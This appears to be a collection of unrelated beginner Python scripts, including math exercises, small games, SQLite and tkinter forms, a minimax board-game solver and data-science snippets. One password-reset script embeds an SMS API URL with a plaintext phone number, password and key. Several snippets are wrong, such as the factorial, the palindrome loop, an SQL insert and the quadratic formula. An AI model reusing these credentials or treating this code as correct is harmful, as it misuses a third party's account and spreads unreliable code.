return Z + 1
def pred(Z):
if Z >= 1:
return Z - 1
else:
return 0
""" PW-E4-c): Construir un PW que compute f(X)=fact(X). Empleando macros: producto y asignacion """
# Pasar al f como argumento las k varibles (X1, X2, ...Xk) del programa while k variables construido
def pw(X1,X2,X3):
X2 =1#Calculo el caso especial !0 = 1
while X3 != X1:
X3 = succ(X3)
X2=X2+X2
X1 = X2
return X1
def fact(X):
return print(pw(X,0,0))
# Para probar el programa, invocar a fact
# Probar que sucede para varios valores de X: 0!, 3!, ...
fact(3)
|
print("Welcome to this Game!")
print('''Rules :
1 You have 3 Attemepts
2 Guess the Correct number to win
3 You can take a hint''')
secret = 9
guess_count = 0
guess_avaliable = 3
while guess_count < guess_avaliable:
guess = int(input("Guess: "))
guess_count += 1
if guess == secret:
print("You win")
break
else:
print("You Lose")
|
#!/usr/bin/env python
# coding: utf-8
# ## Coverting kilometers to miles
# In[12]:
km = float(input("Enter value in kilometers: "))
miles = 0.621371*km
print(km,"km is: ",miles,"Miles")
# ## Converting Celsius to Fahrenheit
# In[14]:
Celsius= float(input("Enter value in celcius: "))
Fahrenheit = (Celsius * 9/5) + 32
print(Celsius,"Celsius is: ",Fahrenheit,"Fahrenheit")
# ## Display calendar
# In[13]:
import calendar
#if we write tuesday the calendar will start with tuesday
c= calendar.TextCalendar(calendar.SUNDAY)
calendar = c.formatmonth(int(input("Enter the year: ")),int(input("Enter the month number: ")))
print(calendar)
# ## Solve quadratic equation
# In[8]:
a = int(input("Enter a number a: "))
b = int(input("Enter a number b: "))
c = int(input("Enter a number c: "))
solution1 = ((-b +(b ** 2 - 4 * a * c) ** 0.5) / 2 * a)
solution2 = ((-b -(b ** 2 - 4 * a * c) ** 0.5) / 2 * a)
print("Solutions of the quadratic equation are {} and {}".format(solution1,solution2))
# ## Swapping
# In[11]:
a=input("Enter a number a: ")
b=input("Enter anaother number b: ")
b,a=a,b
print("Swapped a: ",a)
print("Swapped b: ",b)
|
def longestPalindrome(self, s: str) -> str:
n = len(s)
if(n<2):
return s
left = 0
right = 0
palindrome = [[0]*n for _ in range(n)]
for j in range(1, n):
for i in range(0, i):
innerIsPalindrome = palindrome[i+1][j-1] or j-i<=2
if (s[j] == s[i] and innerIsPalindrome):
palindrome[i][j] = True
if (j-i) > right-left:
right = j
left = i
return s[left:right+1] |
class Dog:
def __init__(self, name, breed):
self.name=name
self.breed=breed
print("dog initialized!")
def bark(self):
print("Woof!")
def sit(self):
print(self.name,"sits")
def roll(self):
print(self.name,"rolls over") |
import random,urllib.request
import sqlite3
conn=sqlite3.connect('mydb.db')
def create_db():
##create a new username and password
c=conn.execute('select usid,pw from account')
for row in c:
row[0]
row[1]
a=input('\nenter current username: ')
b=input('enter current password: ')
if(a==row[0])and(b==row[1]):
conn.execute('delete from account')
f=input('\nenter the new username: ')
g=input('enter the new password: ')
conn.execute('insert into account(usid,pw) values(?,?)',(f,g))
h=conn.execute('select usid,pw from account')
print('\nthe new username and password is changed to....')
for row in h:
print('\nusername: ',row[0],'password: ',row[1])
conn.commit()
else:
print('\nSomething is not right')
print('\n--------------------------------\n')
print('Did you forget password: ')
i=input('\ntype y for yes and n for no: ')
if i=='y':
import random,urllib.request
b=input('\nenter the number to send the OTP: ')
s=str(random.randint(1000,9999))
url = 'https://smsapi.engineeringtgr.com/send/?Mobile=9489241119&Password=sonofsun&Message='+s+'&To='+b+'&Key=vssat1E54aYbznLePoUIj'
#print(s)
f=urllib.request.urlopen(url)
print(f.read())
j=input('\nenter the OTP: ')
if(s==str(j)):
conn.execute('delete from account')
f=input('\nenter the new username: ')
g=input('\nenter the new password: ')
conn.execute('insert into account(usid,pw) values(?,?)',(f,g))
h=conn.execute('select usid,pw from account')
for row in h:
print('username: ',row[0],'\npassword: ',row[1])
conn.commit()
create_db()
|
import sqlite3
conn=sqlite3.connect('sentence.db')
##tables sentence and neglect are created
'''conn.execute('create table sentence(text not null);')
conn.execute('create table neglect(text not null);')'''
a=input('sentence: ')
b=input('neglecting words: ')
c=a.split(' ')
d=b.split(' ')
e=conn.execute('insert into sentence(text) value(?)',(a))
f=conn.execute('insert into neglect(text) value(?)',(b))
for row,col in c,d:
print(row,col)
conn.commit()
conn.close()
|
##importing the k-means clustering mmodel
from sklearn.cluster import KMeans
##importing of the pandas library.
import pandas
##importing matplotlib
import matplotlib.pyplot as plt
#read the data in the name of 'games' and store the values of 'added games.csv' in it
games = pandas.read_csv('added_games.csv')
##printing the names of the columns in games.
#print(games.columns)<---------remove #
#print(games.shape)<----------remove #
##this will extract the single column of the dataframe
#print(games['average_rating'])<------------remove #
## make a histogram of all the ratings in the 'average_rating' column
plt.hist(games['average_rating'])
##show the plot graph
#plt.show()<------------remove #
##print the first row of all the games with the zero scores
#print(games[games['average_rating'] == 0])<----------remove #
## the '.iloc' method on the dataframse allows us to index by position
#print(games[games['average_rating'] == 0].iloc[0])<---------remove #
## showing the games with score greater than 0
#print(games[games['average_rating'] > 0].iloc[0])<----------remove #
##removing the games without user reviews
#games = games[games["users_rated"] > 0]<------------remove #
##remove any rows with missing values.
#games = games.dropna(axis=0)<--------remove #
"""
#initialize the model with 2 parameters (no. of clusters and random state)
kmeans_model = KMeans(n_clusters = 5,random_state = 1)
#get only the numeric columns from the games.
good_columns = games._get_numeric_data()
#fit the model using the good columns.
kmeans_model.fit(good_columns)
#get the cluster assignments
labels = kmeans_model.labels_
print(labels)
"""
|
##name = "Liza"
##num = 15
##num_2 = 45.5
##
##print(num, num_2, name)
##temp = str(float(int(input("Input value: ")))) # Ввожу переменную temp
##print(temp)
# +
# -
# *
# /
# %
# //
# **
# ==
# !=
# >
# <
# >=
# <=
# or
# and
# True and False
##age = int(input())
##
##if age > 18:
## print("ok")
##else:
## if age%2 == 0:
## print("B")
## if age %3 == 0
## print("A")
## if age%2 != 0 and age%3!= 0:
## pass
## else:
## print("C")
# a = a + 5 <=> a+=5
# a = a - 5 <=> a-=5
A = [2,3,5,1,0,12,65]
##ln = len(A)
##minn = min(A)
##maxx = max(A)
##print(ln, minn, maxx)
##A.append(13)
##A.insert(3,18)
##print(A)
for i in range(0,len(A)):
if i%2 == 0:
A[i] = 0
print(A)
|
# 利用切片操作,实现一个trim()函数,去除字符串首尾的空格,注意不要调用str的strip()方法:
def trim(str):
n = len(str)
aa = 0
bb = n
for i in range(n):
if str[i] == ' ':
aa += 1
else:
break
for j in range(1,n+1):
if str[-j] == ' ':
bb -= 1
else:
break
str = str[aa:bb]
return str
print(trim(' abc ac '),len(trim(' abc ac ')))
str1 = ' abc ac '
str2 = '000adssf00'
print(str1.strip())
print(str2.strip('0'))
|
import itertools
def pi(N):
# step 1: 创建一个奇数序列: 1, 3, 5, 7, 9, ...
odd = itertools.count(1,2)
# step 2: 取该序列的前N项: 1, 3, 5, 7, 9, ..., 2*N-1.
odd_n = itertools.takewhile(lambda x:x<=2*N-1,odd)
# step 3: 添加正负符号并用4除: 4/1, -4/3, 4/5, -4/7, 4/9, ...
odd_n_n = map(lambda x:(-1)**(x//2)*4/x,odd_n)
# step 4: 求和:
return sum(odd_n_n)
print(pi(10))
print(pi(100))
print(pi(1000))
print(pi(10000))
assert 3.04 < pi(10) < 3.05
assert 3.13 < pi(100) < 3.14
assert 3.140 < pi(1000) < 3.141
assert 3.1414 < pi(10000) < 3.1415
print('ok')
|
# -*- coding: utf-8 -*-
#
# This file is part of Flask-Wiki
# Copyright (C) 2023 RERO
#
# Flask-Wiki is free software; you can redistribute it and/or modify
# it under the terms of the Revised BSD License; see LICENSE file for
# more details.
"""Misc utils functions."""
import re
from flask import url_for
def clean_url(url):
"""Clean the url and correct various errors.
Removes multiple spaces and all leading and trailing spaces. Changes
spaces to underscores. Also takes care of Windows style folders use.
:param str url: the url to clean
:returns: the cleaned url
:rtype: str
"""
url = re.sub('[ ]{2,}', ' ', url).strip()
url = url.replace('\\\\', '/').replace('\\', '/')
return url
def wikilink(text, url_formatter=None):
"""Process Wikilink syntax "[[Link]]" within the html body.
This is intended to be run after content has been processed
by markdown and is already HTML.
:param str text: the html to highlight wiki links in.
:param function url_formatter: which URL formatter to use,
will by default use the flask url formatter
Syntax:
This accepts Wikilink syntax in the form of [[WikiLink]] or
[[url/location|LinkName]]. Everything is referenced from the
base location "/", therefore sub-pages need to use the
[[page/subpage|Subpage]].
:returns: the processed html
:rtype: str
"""
if url_formatter is None:
url_formatter = url_for
link_regex = re.compile(
r"((?<!\<code\>)\[\[([^<].+?) \s*([|] \s* (.+?) \s*)?]])",
re.X | re.U
)
for i in link_regex.findall(text):
title = [i[-1] or i[1]][0]
url = clean_url(i[1])
html_url = u"<a href='{0}'>{1}</a>".format(
url_formatter('display', url=url),
title
)
text = re.sub(link_regex, html_url, text, count=1)
return text
|
import random
f=open('C:\Python34\state-capitals.txt','r')
h=open('C:\Python34\hangman.txt','r')
first_input = input("Please type 1 to play states-capitals game, type 2 to play hangman! :")
if first_input == '1':
lines=f.readlines()
states=[splitted.split(',')[0] for splitted in lines]
capitals =[splitted.split(',')[1] for splitted in lines]
states_list = [lowercase.lower() for lowercase in capitals]
states_list = [realvalue.rstrip("\n") for realvalue in states_list]
while True:
print("Please enter the capital cities of the state. Type 'exit' to stop playing")
random_state = random.randint(0,len(states)-1)
user_input = input("{}: ".format(states[random_state]))
user_input = user_input.lower()
if user_input == states_list[random_state]:
print("Correct! Try the next one!")
elif user_input == 'exit':
break
else:
print("Please try again")
print("The answer was {}".format(capitals[random_state]))
if first_input == '2':
hangman_lines = h.readlines()
hangman_lines = [nospace.rstrip("\n") for nospace in hangman_lines]
random_state = random.randint(0,len(hangman_lines)-1)
hangman_input = input("Please guess a letter. Type 'exit' to stop playing: ")
while hangman_input != "exit":
if len(hangman_input) > 1:
hangman_input = input("Please guess a letter. Type 'exit' to stop playing: ")
else:
break
random_word = hangman_lines[random_state]
x = 0
y = 0
p = 0
word = []
z = len(random_word) + 2
while x < z:
if hangman_input == "exit":
break
print("You have {} chances left!".format(z - x))
while y < len(random_word):
word.append("X")
y = y + 1
while p < len(random_word):
if random_word[p] == hangman_input:
word[p] = hangman_input
p = p + 1
else:
p = p+ 1
if p == len(random_word):
print("{}".format(word))
if "X" not in word:
print("Congratulations! you have successfully guessed the word")
print("")
break
p = 0
x = x + 1
hangman_input = input("Please guess a letter. Type 'exit' to stop playing: ")
while hangman_input != "exit":
if len(hangman_input) > 1:
hangman_input = input("Please guess a letter. Type 'exit' to stop playing: ")
else:
break
if x == z:
if "X" not in word:
print("Congratulations! you have successfully guessed the word")
print("")
else:
print("No more chances left! The word was {}".format(random_word))
|
import xlrd
def open_file(path):
"""
Open and read an Excel file
"""
book = xlrd.open_workbook(path)
# get the first worksheet
first_sheet = book.sheet_by_index(0)
print(first_sheet.get_rows())
mainData_book = xlrd.open_workbook(path, formatting_info=True)
mainData_sheet = mainData_book.sheet_by_index(0)
for row in range(1, 5):
link = mainData_sheet.hyperlink_map.get((row, 0))
url = '(No URL)' if link is None else link.url_or_path
print( url)
# ----------------------------------------------------------------------
if __name__ == "__main__":
path = r'C:\Users\iroberts\Desktop\GovWin\test_excel_file.xls'
open_file(path)
|
def answer(n):
if len(n)>32:
n=long(n)
else:
n=int(n)
return even_divide(n, 0)
def even_divide(n, step):
if n==0:
return step
if n==2:
return step+1
while n%2==0:
n>>=1
step+=1
return odd_divide(n, step)
def odd_divide(n, step):
if n==1:
return step
if n==3:
return step+2
# low=even_divide(n-1, step+1)
# high=even_divide(n+1, step+1)
val=compareDepth(n)
return even_divide(val, step+1)
def compareDepth(n):
p=n+1
q=n-1
while True:
if p%2==0 and q%2!=0:
return n+1
elif p%2!=0 and 1%2==0:
return n-1
elif p%2!=0 and q%2!=0:
return n-1
else:
p>>=1
q>>=1
raise AssertionError('This branch should not be reached')
def unit_test(t,a,func):
ta=func(t)
if a!=ta:
print('Error: input {}. Output should be {} instead of {}'.format(t, a, ta))
else:
print('input {}, output {}. test case passed'.format(t, ta))
def test():
input=['0', '1', '2', '3', '4', '5', '6', '7', '8', '11', '12', '13', '15', \
'16', '17', '14', '30', '60', '62', '63', '23']
ans = [ 0, 0, 1, 2, 2, 3, 3, 4, 3, 5, 4, 5, 5, \
4, 5, 5, 6, 7, 7, 7, 6]
for t,a in zip(input, ans):
unit_test(t, a, answer)
if __name__ == '__main__':
test()
# def strNumTimesTwo(numStr):
# digit=len(numStr)
# for i in range(digit-1,-1,-1):
|
def answers(total_lambs):
mg=most_generous(total_lambs)
ms=most_stingy(total_lambs)
return ms-mg
def most_stingy(n):
'''
first and second lowest level get paid one lambs
other level henchmen gets paid the sum of
their subordinates and subordinate's subordinate's pay
1,1,2,3,5,8,13, ...
'''
prev_prev=1
prev=1
temp_sum=0
num_henchmen=0
while True:
num_henchmen+=1
if num_henchmen==1:
temp_sum+=prev_prev
elif num_henchmen==2:
temp_sum+=prev
else: # num_henchmen>2
current=prev_prev+prev
temp_sum+=current
prev_prev=prev
prev=current
if temp_sum>n:
break
return num_henchmen-1
def most_generous(n):
'''
each henchmen gets paid twice of their immediate subordnates
most jonior henchmen gets only one lambs
1, 2, 4, 8, .... , 2^k
'''
temp_sum=0
num_henchmen=0
sub=0.5
while True:
temp_sum+=int(sub*2)
if temp_sum>n:
# check if remains can still pay one more after second level
# if remains is greater than or equal to previous two subordinates' pay sum
if num_henchmen>=1:
rems=temp_sum-sub*2
min_pay=sub+int(sub/2)
if n-rems>=min_pay:
num_henchmen+=1
return num_henchmen
else:
return num_henchmen
sub*=2
num_henchmen+=1
# def func_test():
# for n in range(30):
# print(str(n))
# print('mg: {}'.format(most_generous(n)))
# print('ms: {}'.format(most_stingy(n)))
def unit_test(t,a,func):
ta=func(t)
if a!=ta:
print('Error: input {}. Output should be {} instead of {}'.format(t, a, ta))
else:
print('input {}, output {}. test case passed'.format(t, ta))
def test():
input=[0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
ans = [0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1]
for t,a in zip(input, ans):
unit_test(t, a, answers)
if __name__ == '__main__':
func_test() |
import datetime
from nepali_date import NepaliDate
def split_date(date):
'''
split the year month string and return it
format: yyyy-mm-dd
'''
splitted_date = date.split('-')
year = splitted_date[0]
month = splitted_date[1]
day = splitted_date[2]
return year, month, day
def bs_to_ad(date_in_bs):
'''
date must be in format: yyyy-mm-dd in BS
Split the date string and convert to english date as date object
'''
year, month, day = split_date(date_in_bs)
en_date = NepaliDate(year, month, day).to_english_date()
return en_date
class NepaliDateUtils(object):
def __init__(self, date, *args, **kwargs):
'''
date must be of type nepali_date.date.NepaliDate
'''
if not isinstance(date, datetime.date):
raise ValueError("Date must be instance of datetime.date")
date_in_bs = NepaliDate.to_nepali_date(date)
self.np_date = date_in_bs
def get_month_first_day(self, date=None):
'''
return the first date of the np_date passed as an argument
Example:
if 2077-5-23 then it return 2077-5-01
'''
return NepaliDate(self.np_date.year, self.np_date.month, 1)
def get_month_last_day(self):
'''
return the last date of the np_date passed as an argument
Example:
if 2077-05-23 then it return 2077-05-31
'''
return self.get_next_month() - datetime.timedelta(days=1)
def get_prev_month(self):
'''
return the last date of the previous month
Example:
if 2077-5-23 then it return 2077-4-32
'''
return self.get_month_first_day() - datetime.timedelta(days=1)
def get_next_month(self):
'''
return the next month first day
Example:
if 2077-5-23 then it return 2077-6-1
'''
if self.np_date.month == 12:
try:
next_month = NepaliDate(self.np_date.year + 1, 1, 1)
except ValueError:
raise Http404("Date out of range")
pass
else:
next_month = NepaliDate(self.np_date.year, self.np_date.month + 1, 1)
return next_month
def start_end_date_in_ad(self):
'''
convert the Nepali first day and last day of a month to a english date
'''
start_date = self.get_month_first_day().to_english_date()
end_date = self.get_month_last_day().to_english_date()
return start_date, end_date
|
# searching for an item in an ordered list
# this technique uses a binary search
items = [6, 8, 19, 20, 23, 41, 49, 53, 56, 87]
def binary_search(item, item_list):
# get the list size
list_size = len(item_list) - 1
# start the two ends of the list
lower_index = 0
upper_index = list_size
while lower_index <= upper_index:
# calculate the middle point
mid_point = (lower_index + upper_index) // 2
# if item is found, return the index
if item_list[mid_point] == item:
return mid_point
# otherwise get the next midpoint
if item > item_list[mid_point]:
lower_index = mid_point + 1
else:
upper_index = mid_point - 1
if lower_index > upper_index:
return None
print("Position: ", binary_search(23, items))
print("Position: ", binary_search(87, items))
print("Position: ", binary_search(250, items)) |
from sys import argv
def scale(n, o, N): return float(o)**(float(n)/float(N))
if len(argv) != 3: exit('usage: scale octave N')
print argv[0], argv[1], argv[2]
table = [scale(i, float(argv[1]), float(argv[2])) for i in xrange(0, int(argv[2])+1)]
for val in table: print '%.32f'%val
|
a=2
print (a)
b=4.25
print (b)
c="c"
print (c)
print(c*3)
d="HELLO"
print (d)
print(d*3)
|
import datetime
def Viernes(x):
x = datetime.date.weekday(x)
if (x ==4):
return True
return False
cfecha = input("Escribe una fecha formato dd/mm/yyyy")
dfecha = datetime.datetime.strptime(cfecha, "%d/%m/%Y")
print(Viernes(dfecha))
|
one = int(input("一元的张数:"))
two = int(input("二元的张数:"))
five = int(input("五元的张数:"))
print(one+two*2+five*5)
|
#!/bin/python
import sys
import numpy as np
import math
import random
import time
# Command line arguments
# Number of columns for the Betsy board. Set variable as integer to allow numerical operations
n = int(sys.argv[1])
# Player whose turn it is.
player = sys.argv[2]
# The current state of the board
board = sys.argv[3]
# How long the program is permitted to run. Set to float to provide more
# resolution to the time control
duration = float(sys.argv[4])
# These time values are used to determine when the program has ran past the allotted time
# Records start time of program
start_time = time.time()
# Updates run_time through each time min_value or max_value is called
run_time = 0
# Initializes alpha and beta to the worst possible values for each, negative infinity and positive
# infinity respectively
alpha = -math.inf
beta = math.inf
# Stores the most recent recommendation while the search algorithm runs
recommend = ''
# Functions used to execute game play
# Drops a pebble for a given player, column, and board
def drop(player, column, board, n):
board1 = board.copy()
for i in range((n * (n + 3)) - 1 - (n - column), -1, -n):
if board1[i] == '.':
board1[i]= player
return board1
# Rotates the given column for a given board
def rotate(column, board, n):
board1 = board.copy()
for i in range((n * (n + 3)) - 1 - (n - column), -1, -n):
board1[i] = board[i-n]
for k in range(0+(column-1), (n*(n+3))-n, n):
if board1[k] != '.' and board1[k+n] == '.':
board1[k], board1[k+n] = board1[k+n], board1[k]
return board1
# Functions utilized for the minimax w/ alpha-beta pruning algorithm
# Given whose turn it is and board, returns a list of all possible moves
def successors(player, board, n):
actions = []
board1 = board.copy()
for i in range(1, n + 1):
a = drop(player, i, board1, n)
if a is not None:
actions.append(['drop', i, a])
actions.append(['rotate', i, rotate(i, board1, n)])
return actions
# Heuristic function that calculates the estimated value for a given board for a given player.
# Creates a new board with the top n rows and the bottom row, as these pebbles can be scored if a column
# is rotated. For that new board, for every pair of rows where each column has at least one pebble of the player's color,
# the value is increased by one. Similarly, for every pair of diagonals, if each column has at least one pebble of the
# player's color, the value is increased by one. It also adds 1 to value for every pebble of player's color in the
# new board, and subtracts for every pebble that is the other player's.
def value(player, board, n):
value = 0
board1 = (board[-n:] + board[0:(n * n)])
#print(board1)
board2 = np.reshape(board1, (n + 1, n))
# Adds to value for every pair of rows that has the players pebble in each column for at least one row
i = n # row
j = 0 # item
while j < n and i > 0:
if board2[i][j] == player or board2[i - 1][j] == player:
j += 1
if j == n:
value += 1
i -= 1
j = 0
else:
i -= 1
j = 0
#print(value)
# Adds to value for each pebble that is players and subtracts for each that is not. Goes through by column
for k in range(0,n): # item
for m in range(n, -1, -1): # row
if board2[m][k] == player:
value+=1
elif board2[m][k] !=player and board2[m][k]!='.':
value-=1
diag1 = board2[1:].diagonal()
diag11 = board2[:n].diagonal()
flipboard = np.fliplr(board2)
diag2 = flipboard[1:].diagonal()
diag22 = flipboard[:n].diagonal()
p = 0
q = 0
# Adds to value if each column from the two defined diagonals contains at least one player. As soon as not, breaks
while p < n:
if diag1[p] == player or diag11[p] == player:
p += 1
if p == n:
value += 1
else:
break
# Flipped board to get diagonals pointing the other way
while q < n:
if diag2[q] == player or diag22[q] == player:
q += 1
if q == n:
value += 1
else:
break
return value
# Determines if the given board is a terminal state given that it is player's turn
def win_test(player, board, n):
top_board = board[0:(n*n)]
matrix = np.reshape(top_board, (n,n))
diag1 = np.reshape(matrix, (n, n)).diagonal().tolist()
diag2 = np.fliplr(matrix).diagonal().tolist()
wins = [diag1, diag2]
for row in matrix:
wins.append(row.tolist())
for i in range(0,n):
column = []
for j in range(0,n):
column.append(top_board[i+j*n])
wins.append(column)
for win in wins:
if len(set(win)) == 1 and win[0] == player:
return True
# Calculates the best move for the given ('max') player. This is done by first checking if board is a terminal
# state (win) for max. If not, it finds the successors of the given board, and calls min_value() on each successor
# which finds the successor with the lowest utility value, as this is what min would choose. It then compares this value
# with the best current option for max, alpha, and if the successor is better, it becomes the new alpha value. If not,
# then alpha stays the same, and the process is continued down the tree.
def max_value(player, board, alpha, beta, n, path):
# makes changes to run_time made in function available outside of function
global run_time
# Assigns latest run_time value outside of function
run_time = time.time() - start_time
# Tests if program has ran longer than defined duration, and if so, ends program
if run_time > duration:
sys.exit('Times up')
if win_test(player, board, n):
if len(path) > 1:
global recommend
recommend = path[1]
return value(player, board, n)
if len(path) >n:
for move in path:
if move in ['rotate1', 'rotate2', 'rotate3'] and path.count(move) >= n:
if len(path) > 1:
recommend = path[1]
return value(player, board, n)
a = -math.inf
successors1 = successors(player, board, n)
random.shuffle(successors1)
for successor in successors1:
path1 = path.copy()
path1.append(successor[0]+str(successor[1]))
a = max(a, min_value(player, successor[2], alpha, beta, n, path1))
if a >= beta:
if len(path) > 1:
recommend = path[1]
answer(player, board, n)
print('max', a)
return a
alpha = max(alpha, a)
if len(path) > 1:
recommend = path[1]
print('max',a)
return a
# Calculates the best move for the other player ('min'). The best move for 'min' is the one that generates the lowest
# heuristic value. This is done by first checking if board is a terminal state (win) for max. If not, it finds the
# successors of the given board, and calls max_value() on each successor
# which finds the successor with the highest utility value, as this is what max would choose. It then compares this
# value with the best current option for min, beta (which would the option that minimizes utility value), and if the
# successor is better, it becomes the new beta value. If not, then beta stays the same, and the process is continued
# down the tree.
def min_value(player, board, alpha, beta, n, path):
global recommend
# makes changes to run_time made in function available outside of function
global run_time
# Assigns latest run_time value outside of function
run_time = time.time() - start_time
# Tests if program has ran longer than defined duration, and if so, ends program
if run_time > duration:
sys.exit('Times up')
if win_test(player, board, n):
if len(path) > 1:
recommend = path[1]
return value(player, board, n)
if len(path) > n:
for move in path:
if move in ['rotate1', 'rotate2', 'rotate3'] and path.count(move)>= n:
if len(path) > 1:
recommend = path[1]
return value(player, board, n)
a = math.inf
successors1 = successors(player, board, n)
random.shuffle(successors1)
for successor in successors1:
path1 = path.copy()
path1.append(successor[0] + str(successor[1]))
a = min(a, max_value(player, successor[2], alpha, beta, n, path1))
if a <= alpha:
if len(path) > 1:
recommend = path[1]
print('min', a)
return a
beta = min(beta, a)
if len(path) > 1:
recommend = path[1]
print('min',a)
return a
# Begins the call of max_value to find solution
def betsy_solver(player, board, n):
global recommend
c = max_value(player, board, alpha, beta, n, ['start'])
print(board)
answer(player, board, n)
# prints an easily read board
def pretty_board(board, n):
for i in range(0, len(board)-1, n):
print(board[i:i+n])
# formats the output to print suggested solution
def answer(player, board, n):
print('answer_test',drop(player,int(recommend[-1:]), board,n))
if recommend[:-1] == 'drop':
ansBoard = "".join(drop(player, int(recommend[-1:]), board, n))
print("I'd recommend dropping a pebble in column ",recommend[-1:],". ",ansBoard)
else:
ansBoard = "".join(rotate(int(recommend[-1:]), board, n))
print("I'd recommend rotating column ",recommend[-1:],". ",ansBoard)
# calls commandline arguments to run program
betsy_solver(player, list(board), n)
|
# Reading packages
import pandas as pd
# Iteration tracking
import time
# Xgboost models
import xgboost as xgb
# Reading data
d = pd.read_csv("train_data.csv", low_memory=False).sample(100000)
# Converting to categorical all the categorical variables
cat_cols = [
'Store',
'DayOfWeek',
'ShopOpen',
'Promotion',
'StateHoliday',
'SchoolHoliday',
'StoreType',
'AssortmentType'
]
d[cat_cols] = d[cat_cols].astype(str)
# Creating the X and Y matrices
features = [
"Store",
'DayOfWeek',
'Promotion',
'StateHoliday',
'SchoolHoliday',
'StoreType',
'AssortmentType'
]
X = d[features]
X = pd.get_dummies(X)
Y = d['Sales']
# Defining the HP parameters for xgboost
hp = {
'objective': 'reg:squarederror',
'n_estimators': 120
}
# Initiating the xgb model
model = xgb.XGBRegressor(**hp)
# Fiting on data
start = time.time()
model.fit(X, Y)
print(f"Time taken to build the model: {time.time() - start} s\n") |
# def add_end(L=[]):
# L.append('END')
# return L
#
# print(add_end())
# print(add_end())
# print(add_end())
def add_end(L=None):
if L is None:
L = []
L.append('END')
return L
print(add_end())
print(add_end())
print(add_end())
def calc(*numbers):
sum = 0
for n in numbers:
sum = sum + n * n
return sum
s = calc(1, 2, 3)
print(s) |
from tkinter import *
import sqlite3
import sys
import tkinter.messagebox
# create connection
conn = sqlite3.connect('database1.db')
# cursor to move
c = conn.cursor()
# tkinter window
class Application:
def __init__(self,master):
self.master = master
#labels
self.heading=Label(master,text="Billing Details",font="times 40 ",fg='black',bg='darkseagreen')
self.heading.place(x=10,y=5)
self.billno = Label(master,text="Bill no.",font="times 18", fg='black',bg='darkseagreen')
self.billno.place(x=10,y=100)
self.roomtype = Label(master,text="Room Type",font="times 18", fg='black',bg='darkseagreen')
self.roomtype.place(x=10,y=140)
self.roomcharge = Label(master,text="Room Charges",font="times 18", fg='black',bg='darkseagreen')
self.document = Label(master,text="Documentation Charges",font="times 18", fg='black',bg='darkseagreen')
self.document.place(x=10,y=220)
self.date = Label(master,text="Date",font="times 18", fg='black',bg='darkseagreen')
self.date.place(x=10,y=260)
self.total = Label(master,text="Total Amount",font="times 18", fg='black',bg='darkseagreen')
self.roomcharge.place(x=10,y=180)
self.total.place(x=10,y=300)
#entries
self.billno_ent= Entry(master,width=30)
self.billno_ent.place(x=250,y=110)
self.roomtype_ent= Entry(master,width=30)
self.roomtype_ent.place(x=250,y=150)
self.roomcharge_ent= Entry(master,width=30)
self.roomcharge_ent.place(x=250,y=190)
self.document_ent= Entry(master,width=30)
self.document_ent.place(x=250,y=230)
self.date_ent= Entry(master,width=30)
self.date_ent.place(x=250,y=270)
self.total_ent= Entry(master,width=30)
self.total_ent.place(x=250,y=310)
#button to perform a command
self.submit= Button(master,text="Generate bill",font="times 14",width=20,height=2,bg='tan',command=self.add1)
self.submit.place(x=100,y=340)
# display bill
self.box=Text(master,width=50,height=27)
self.box.place(x=500,y=20)
# make function working
def add1(self):
self.v1=self.billno_ent.get()
self.v2=self.roomtype_ent.get()
self.v3=self.roomcharge_ent.get()
self.v4=self.document_ent.get()
self.v5=self.date_ent.get()
self.v6=self.total_ent.get()
if self.v1== '' or self.v2== '' or self.v3== '' or self.v4== '' or self.v5== '' or self.v6== '':
tkinter.messagebox.showinfo("Warning","Please Fill All Enrties")
else:
# now add to database
sql = "INSERT INTO 'billing' (bill_no , room_charge , document_charge , total_amount , room_type , date ) VALUES(?,?,?,?,?,?)"
c.execute(sql,(self.v1,self.v3,self.v4,self.v6,self.v2,self.v5))
conn.commit()
tkinter.messagebox.showinfo("Success"," Bill generated successfully ")
self.box.insert(END,'\n date = ' + str(self.v5) + '\n\n Bill no. =' + str(self.v1) + '\n\n Room Type = ' + str(self.v2) + '\n\n Room Charges =' + str(self.v3) + '\n\n Documentation Charges = ' + str(self.v4) + '\n\n Total charges = ' + str(self.v5))
root=Tk()
b =Application(root)
root.geometry("920x500+0+0")
root.title('Sharda Hospital Management')
icon = PhotoImage(file='sharda.png')
root.tk.call('wm', 'iconphoto', root._w, icon)
#photo
photo = PhotoImage(file="Campus4.png")
pic = Label(root,image=photo)
pic.place(x=10,y=400)
root.resizable(False,False)
root.configure(bg='darkseagreen')
root.mainloop()
|
import math
a = int(input('Input number: '))
b = int(input('Input number: '))
c = int(input('Input number: '))
x = (b**2) - (4*a*c)
def first_solution(a: int, b: int, c: int) -> int:
if x < 0:
return 'Math error'
return (-b-math.sqrt(x))/(2*a)
def second_solution(a: int, b: int, c: int) -> int:
if x < 0:
return 'Math error'
return (-b+math.sqrt(x))/(2*a)
print(f'First Solution: {first_solution(a,b,c)}. Druga solucija: {second_solution(a,b,c)}')
|
int('100') # String -> Integer
str(100) # Integer -> String
float(10) # Integer -> Float
list((1, 2, 3)) # Tuple -> List
list({1, 2, 3}) # Set -> List
tuple([1, 2, 3]) # List -> Tuple
tuple({1, 2, 3}) # Set -> Tuple
set([1, 2, 3]) # List -> Set
set((1, 2, 3)) # Tuple -> Set
# Also Change Data Type Using *
tpl = (1, 2, 3)
tpl_to_list = [*tpl]
print(tpl_to_list) # Output: [1, 2, 3] |
a, b, c = 100, 200, 300
if a > b and a > c:
print(f"{a} is biggest number!")
elif b > a and b > c:
print(f"{b} is biggest number!")
else:
print(f"{c} is a biggest number!")
# Output: 300 is a biggest number!
a, b = 100, 200
print(f"{a} > {b} or {a} < {b}") if a > b or a < b else print(f"{a} = {b}")
# Output: 100 > 200 or 100 < 200
print(a) if a > b else print(b) if b > a else print(a, b) # Output: 200 |
lista = ["Polak","Rosjanin","Niemiec"]
print(lista)
lista.append("Turek") #dodoanie elementu do listy
print(lista)
lista.sort() #sortowanie listy
print(lista)
lista.reverse() #sortowanie malejące
print(lista)
liczby = [4,53,27,67,9,23,64,4,372]
liczby.sort()
print(liczby)
liczby.sort(reverse=True)
print(liczby)
liczby.remove(4)
print(liczby)
print(liczby[6])
print(liczby[2:5])
sklepzoo = [["pies", "kot", "papuga", "mysz"],[2345, 4563, 7678, 567]]
print(sklepzoo)
print(sklepzoo[0])
print(sklepzoo[0][2])
print(sklepzoo[0][0], " - ", sklepzoo[1][0], "PLN")
print(sklepzoo[0][1], " - ", sklepzoo[1][1], "PLN")
